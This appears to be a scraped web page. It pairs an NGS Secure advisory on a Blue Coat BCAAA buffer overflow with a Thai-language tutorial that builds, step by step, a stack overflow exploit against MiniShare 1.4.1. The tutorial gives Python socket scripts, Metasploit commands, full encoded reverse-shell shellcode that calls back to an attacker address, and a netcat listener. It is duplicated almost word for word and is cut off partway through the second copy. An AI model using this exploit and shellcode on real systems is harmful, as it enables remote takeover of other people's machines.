The software referred to as BCAAA (Blue Coat Authentication and Authorization Agent) is installed on a domain server (not necessarily a domain controller, a member server is enough) and acts as an intermediary between a Blue Coat ProxySG and the domain. The BCAAA Windows Service is vulnerable to a stack-based buffer overflow, this can lead to remote code execution running with SYSTEM privileges. Affected are all versions of BCAAA associated with ProxySG releases 4.2.3, 4.3, 5.2, 5.3, 5.4, 5.5, and 6.1 available prior to April 21, 2011 or with a build number less than 60258. All versions of BCAAA associated with ProxyOne are also vulnerable.
Summary
Name: Blue Coat BCAAA Remote Code Execution Vulnerability
Release Date: 5 July 2011
Reference: NGS00060
Discoverer: Paul Harrington <paul.harrington@ngssecure.com>
Vendor: Blue Coat Systems Inc
Vendor Reference: 2-358686722
Systems Affected: All versions of BCAAA associated with ProxySG releases 4.2.3, 4.3, 5.2, 5.3, 5.4, 5.5, and 6.1 available prior to April 21, 2011 or with a build number less than 60258. All versions of BCAAA associated with ProxyOne are also vulnerable
Risk: High
Status: Published
TimeLine
Discovered: 10 March 2011
Released: 10 March 2011
Approved: 10 March 2011
Reported: 11 March 2011
Fixed: 4 April 2011
Published: 5 July 2011
Description
The software referred to as BCAAA (Blue Coat Authentication and Authorization Agent) is installed on a domain server (not necessarily a domain controller, a member server is enough) and acts as an intermediary between a Blue Coat ProxySG and the domain.
The BCAAA Windows Service is vulnerable to a stack-based buffer overflow, this can lead to remote code execution running with SYSTEM privileges.
Technical Details
Sending a large buffer to TCP port 16102 causes a stack-based buffer overflow in the bcaaa-130.exe process.
Fix Information
Patches can be downloaded from the Bluecoat Knowledge Base:
https://kb.bluecoat.com/index?page=content&id=SA55
NGS Secure Research
http://www.ngssecure.com
วันเสาร์ที่ 9 กรกฎาคม พ.ศ. 2554
วันพุธที่ 6 กรกฎาคม พ.ศ. 2554
Stack Based Windows Buffer Overflow ภาคปฏิบัติ
เราจะมาลองทำการ exploits หรือการเข้าใช้อะไรซักอย่างจาก ช่องโหว่(vulnerabilities) ดูว่ามันมีการทำงานกันอย่างไร ซึ่งเทคนิคที่ใช้ในการ exploits มักจะเกี่ยวกับการเข้าใช้งาน Memory โดยเทคนิคต่างๆ เช่น
สิ่งที่ต้องเตรียมในการทดสอบครั้งนี้
ที่เครื่องเป้าหมาย
เริ่มด้วยการติดตั้ง MiniShare ก่อน
และเปิดโปรแกรมขึ้นมา เมื่อ netstat -na ดูจะเห็นว่ามี Port 80 ถูกเปิด listening อยู่
ให้เปิดโปรแกรม OllyDbg และ File->attach แล้วเลือก
ซึ่งหน้าต่างแต่ละหน้าจะแสดงข้อมูลดังนี้
ก่อนทื่จะ exploits เราจะต้องรู้ว่ามีช่องโหว่อะไรและรายละเอืยดต่างๆเกี่ยวกับช่องโหว่นั้น โดยตรวจสอบที่ security advisory ซึ่งทำให้เรารู้ว่า minishare มีช่องโหว่ที่ HTTP "GET" requests ซึ่งสามารถทำให้เกิด Buffer Overflow ได้และรู้ว่ามีผลกับเวอร์ชั่นไหนบ้าง เราสามารถรู้ได้ว่าจะ exploits อย่างไรโดยดูที่ เว็บซึ่งมีโค๊ดที่ใช้ในการ exploits นั้น เช่น http://www.exploit-db.com/exploits/636 สำหรับ minishare
ต่อมาเราจะมาดูว่ารูปแบบมาตรฐานของ HTTT โดยตรวจสอบที่เอกสาร RFC หรือ capture packet จะพบว่า HTTP Request เริ่มด้วย "GET / HTTP/1.1" และปิดท้ายด้วย 2 new line,carriage return(\r\n\r\n)
เราจะทำการแก้ไข request นี้และจะส่งให้ minishare ดังนี้
"GET [long string of A characters] HTTP/1.1[new_line, carriage_return x 2]"
Python Script
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
x41 คือ ตัวอักษร "A" ใน ascii
เปลี่ยน permission ของ script ให้สามารถรันได้ chmod +x minishart.py
ที่โปรแกรมดีบักหากสถานะยังเป็น Paused ให้เปลี่ยนเป็นรันโดยกด F9 และทำการรัน script
จะเห็นว่า register EIP มีค่า 41414141 แสดงว่าค่าที่เราส่งไปเข้าไปเขียนทับเมมโมรี่ในส่วนของโปรแกรม EIP คือ register ที่จะเก็บ address ที่ CPU จะไปทำงาน ในที่นี้เราให้ EIP ชี้ไปที่ตำแหน่งที่มีคำสั่ง JMP ESP เพื่อให้ CPU โดดไปทำงานใน ESP register คือ address stack pointer
การหา JMP ESP เราจะหาใน DLL ซึ่งถูกโหลดขึ้นมาเพื่อใช้งานของโปรแกรม ให้ไปที่ View->Executable Modules คลิกขวาที่ SHELL32.DLL เลือก View code in CPU
เลือก Search for -> Command
จากตัวอย่าง คำสั่ง JMP ESP อยู่ที่ memory address 7C9D30D7 ของ shell32.dll เราจะนำ address นี้ไปแทน address ใน EIP ดังนั้นต่อมาเราต้องหาตำแหน่งของ EIP ใน buffer ที่เราส่งไปแล้วเพื่อจะนำ address คำสั่ง JMS ESP มาใส่แทน รวมทั้งตำแหน่งของ ESP เพื่อที่จะนำโค๊ดโปรแกรมของเรามาใส่เพื่อให้ มาทำงานที่โปรแกรม เราจะใช้ Metasploit framework ซึ่งมีเครื่องมือที่จะช่วยคือ pattern_create.rb
เมื่อได้ pattern มาแล้วก็ แก้ไขโปรแกรมของเรา
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa....Cv4Cv5Cv6Cv7Cv8Cv9")
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
เมื่อเราดีบั๊กใหม่และทำการรันโปรแกรมจะได้
จะเห็นได้ว่า EIP เราชี้ไปที่ 36684335 และ ESP มีข้อมูล "Ch7C" เพื่อจะนำมาหา offsets โดยใช้เครื่องมือของ Metasploit framework เช่นเดิม
/pentest/exploits/framework3/tools$ ./pattern_offset.rb 36684335
/pentest/exploits/framework3/tools$ ./pattern_offset.rb Ch7C
ก็จะได้ค่าตามรูป
EIP คือตำแหน่งที่ 1787 ใน Buffer ของเรา และ ESP คือ ตำแหน่งที่ 1791 ใน buffer เรา ทำการตรวจสอบว่าถูกต้องไหมโดยแก้ไขโปรแกรมและลองรันใหม่
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x41\x41\x41\x41" # EIP Should be overwritten here
buffer+= "\x90" * (1791 - len(buffer))
buffer+= "\xcc" * (2220 - len(buffer)) # ESP should point here
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
จะเห็นว่า EIP มีค่า 41414141 และ ค่าใน Stack เป็น C หมด ...ถูกต้องแล้ว
คราวนี้เราก็นำ Address ที่เราต้องการให้ไปทำมาใส่แทนได้แล้ว โดย Address นั้นเราต้องนึกถึงเรื่อง significant byte ด้วยรายละเอียดลองไปหาอ่านกันเองนะครับ Address ที่เราต้องการใส่แทนคือ 7C9D30D7 ดังนั้นในโปรแกรมเราต้องใส่แแบบนี้ D7,30,9D,7C แก้โปรแกรมกันต่อ
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\xD7\x30\x9D\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7C9D30D7.
buffer+= "\xcc" * (2220 - len(buffer)) # ESP points here.
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
restart และรันดีบั๊กอีกครั้ง และครั้งนี้เราจะกำหนด breakpoint ด้วยเพื่อจะหยุดดูโปรแกรมทำงานตรงตำแหน่ง 7C9D30D7 ซึ่งมีคำสั่ง JMP ESP โดยคลิกขวาที่หน้าต่าง CPU แล้วเลือก Go to->Expression และเลือกแถวที่ JMP ESP แล้วกด F2
มาถูกทางแล้วครับ ต่อไปเราก็จะนำ shellcode มาใส่ และในโค๊ดเราต้องไม่มี \x00, \x0a, or \x0d การสร้าง shellcode จะใช้ Metasploit framework เช่นเดิม
user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 C
/*
* windows/shell_reverse_tcp - 314 bytes
* http://www.metasploit.com
* LHOST=192.168.20.11, EXITFUNC=process, LPORT=443,
* ReverseConnectRetries=5
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\xc0\xa8\x14\x0b\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
จะเห็นว่า มี x00, \x0a and \x0d เราต้องแก้ไขโดย raw "R" output และ pipe ไปให้ msfencode ใช้ X86 architecture แปลง output เป็น c style format
user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)
unsigned char buf[] =
"\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"
"\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae"
"\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d"
"\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01"
"\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa"
"\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7"
"\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2"
"\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67"
"\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8"
"\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15"
"\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f"
"\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81"
"\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c"
"\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26"
"\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff"
"\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13"
"\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95"
"\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0"
"\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0"
"\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf"
"\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f"
"\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52"
"\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb";
นำมาใส่โปรแกรมของเรา
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
# msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c - x86/shikata_ga_nai 342 bytes
buffer+= "\x90" * 16
buffer+= ("\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"
"\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae"
"\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d"
"\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01"
"\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa"
"\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7"
"\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2"
"\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67"
"\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8"
"\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15"
"\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f"
"\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81"
"\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c"
"\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26"
"\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff"
"\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13"
"\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95"
"\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0"
"\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0"
"\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf"
"\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f"
"\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52"
"\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb")
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
ต้องใส่ NOP เข้าไปก่อน shellcode เพื่อความเสถียรของ shellcode
ในการทดสอบเราจะต้องเปิด listener รอ ที่ port 443 หรือ อื่นๆ
root@bt4pf:~# nc -nvvlp 443
listening on [any] 443 ...
เรียบร้อยครับ เสร็จเรา
- Buffer OverFlow
- Heap Spray
สิ่งที่ต้องเตรียมในการทดสอบครั้งนี้
ที่เครื่องเป้าหมาย
- OS : Windows XP
- MiniShare 1.4.1 เป็นโปรแกรมใช้แชร์ไฟล์ผ่าน HTTP
- OllyDbg 1.10 เราจะใช้โปรแกรมทำการดีบัก
เริ่มด้วยการติดตั้ง MiniShare ก่อน
ให้เปิดโปรแกรม OllyDbg และ File->attach แล้วเลือก
ซึ่งหน้าต่างแต่ละหน้าจะแสดงข้อมูลดังนี้
ก่อนทื่จะ exploits เราจะต้องรู้ว่ามีช่องโหว่อะไรและรายละเอืยดต่างๆเกี่ยวกับช่องโหว่นั้น โดยตรวจสอบที่ security advisory ซึ่งทำให้เรารู้ว่า minishare มีช่องโหว่ที่ HTTP "GET" requests ซึ่งสามารถทำให้เกิด Buffer Overflow ได้และรู้ว่ามีผลกับเวอร์ชั่นไหนบ้าง เราสามารถรู้ได้ว่าจะ exploits อย่างไรโดยดูที่ เว็บซึ่งมีโค๊ดที่ใช้ในการ exploits นั้น เช่น http://www.exploit-db.com/exploits/636 สำหรับ minishare
ต่อมาเราจะมาดูว่ารูปแบบมาตรฐานของ HTTT โดยตรวจสอบที่เอกสาร RFC หรือ capture packet จะพบว่า HTTP Request เริ่มด้วย "GET / HTTP/1.1" และปิดท้ายด้วย 2 new line,carriage return(\r\n\r\n)
เราจะทำการแก้ไข request นี้และจะส่งให้ minishare ดังนี้
"GET [long string of A characters] HTTP/1.1[new_line, carriage_return x 2]"
Python Script
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
x41 คือ ตัวอักษร "A" ใน ascii
เปลี่ยน permission ของ script ให้สามารถรันได้ chmod +x minishart.py
ที่โปรแกรมดีบักหากสถานะยังเป็น Paused ให้เปลี่ยนเป็นรันโดยกด F9 และทำการรัน script
จะเห็นว่า register EIP มีค่า 41414141 แสดงว่าค่าที่เราส่งไปเข้าไปเขียนทับเมมโมรี่ในส่วนของโปรแกรม EIP คือ register ที่จะเก็บ address ที่ CPU จะไปทำงาน ในที่นี้เราให้ EIP ชี้ไปที่ตำแหน่งที่มีคำสั่ง JMP ESP เพื่อให้ CPU โดดไปทำงานใน ESP register คือ address stack pointer
การหา JMP ESP เราจะหาใน DLL ซึ่งถูกโหลดขึ้นมาเพื่อใช้งานของโปรแกรม ให้ไปที่ View->Executable Modules คลิกขวาที่ SHELL32.DLL เลือก View code in CPU
เลือก Search for -> Command
จากตัวอย่าง คำสั่ง JMP ESP อยู่ที่ memory address 7C9D30D7 ของ shell32.dll เราจะนำ address นี้ไปแทน address ใน EIP ดังนั้นต่อมาเราต้องหาตำแหน่งของ EIP ใน buffer ที่เราส่งไปแล้วเพื่อจะนำ address คำสั่ง JMS ESP มาใส่แทน รวมทั้งตำแหน่งของ ESP เพื่อที่จะนำโค๊ดโปรแกรมของเรามาใส่เพื่อให้ มาทำงานที่โปรแกรม เราจะใช้ Metasploit framework ซึ่งมีเครื่องมือที่จะช่วยคือ pattern_create.rb
เมื่อได้ pattern มาแล้วก็ แก้ไขโปรแกรมของเรา
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa....Cv4Cv5Cv6Cv7Cv8Cv9")
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
เมื่อเราดีบั๊กใหม่และทำการรันโปรแกรมจะได้
จะเห็นได้ว่า EIP เราชี้ไปที่ 36684335 และ ESP มีข้อมูล "Ch7C" เพื่อจะนำมาหา offsets โดยใช้เครื่องมือของ Metasploit framework เช่นเดิม
/pentest/exploits/framework3/tools$ ./pattern_offset.rb 36684335
/pentest/exploits/framework3/tools$ ./pattern_offset.rb Ch7C
ก็จะได้ค่าตามรูป
EIP คือตำแหน่งที่ 1787 ใน Buffer ของเรา และ ESP คือ ตำแหน่งที่ 1791 ใน buffer เรา ทำการตรวจสอบว่าถูกต้องไหมโดยแก้ไขโปรแกรมและลองรันใหม่
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x41\x41\x41\x41" # EIP Should be overwritten here
buffer+= "\x90" * (1791 - len(buffer))
buffer+= "\xcc" * (2220 - len(buffer)) # ESP should point here
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
จะเห็นว่า EIP มีค่า 41414141 และ ค่าใน Stack เป็น C หมด ...ถูกต้องแล้ว
คราวนี้เราก็นำ Address ที่เราต้องการให้ไปทำมาใส่แทนได้แล้ว โดย Address นั้นเราต้องนึกถึงเรื่อง significant byte ด้วยรายละเอียดลองไปหาอ่านกันเองนะครับ Address ที่เราต้องการใส่แทนคือ 7C9D30D7 ดังนั้นในโปรแกรมเราต้องใส่แแบบนี้ D7,30,9D,7C แก้โปรแกรมกันต่อ
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\xD7\x30\x9D\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7C9D30D7.
buffer+= "\xcc" * (2220 - len(buffer)) # ESP points here.
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
restart และรันดีบั๊กอีกครั้ง และครั้งนี้เราจะกำหนด breakpoint ด้วยเพื่อจะหยุดดูโปรแกรมทำงานตรงตำแหน่ง 7C9D30D7 ซึ่งมีคำสั่ง JMP ESP โดยคลิกขวาที่หน้าต่าง CPU แล้วเลือก Go to->Expression และเลือกแถวที่ JMP ESP แล้วกด F2
มาถูกทางแล้วครับ ต่อไปเราก็จะนำ shellcode มาใส่ และในโค๊ดเราต้องไม่มี \x00, \x0a, or \x0d การสร้าง shellcode จะใช้ Metasploit framework เช่นเดิม
user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 C
/*
* windows/shell_reverse_tcp - 314 bytes
* http://www.metasploit.com
* LHOST=192.168.20.11, EXITFUNC=process, LPORT=443,
* ReverseConnectRetries=5
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\xc0\xa8\x14\x0b\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
จะเห็นว่า มี x00, \x0a and \x0d เราต้องแก้ไขโดย raw "R" output และ pipe ไปให้ msfencode ใช้ X86 architecture แปลง output เป็น c style format
user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)
unsigned char buf[] =
"\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"
"\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae"
"\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d"
"\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01"
"\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa"
"\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7"
"\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2"
"\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67"
"\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8"
"\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15"
"\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f"
"\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81"
"\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c"
"\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26"
"\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff"
"\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13"
"\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95"
"\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0"
"\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0"
"\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf"
"\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f"
"\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52"
"\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb";
นำมาใส่โปรแกรมของเรา
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
# msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c - x86/shikata_ga_nai 342 bytes
buffer+= "\x90" * 16
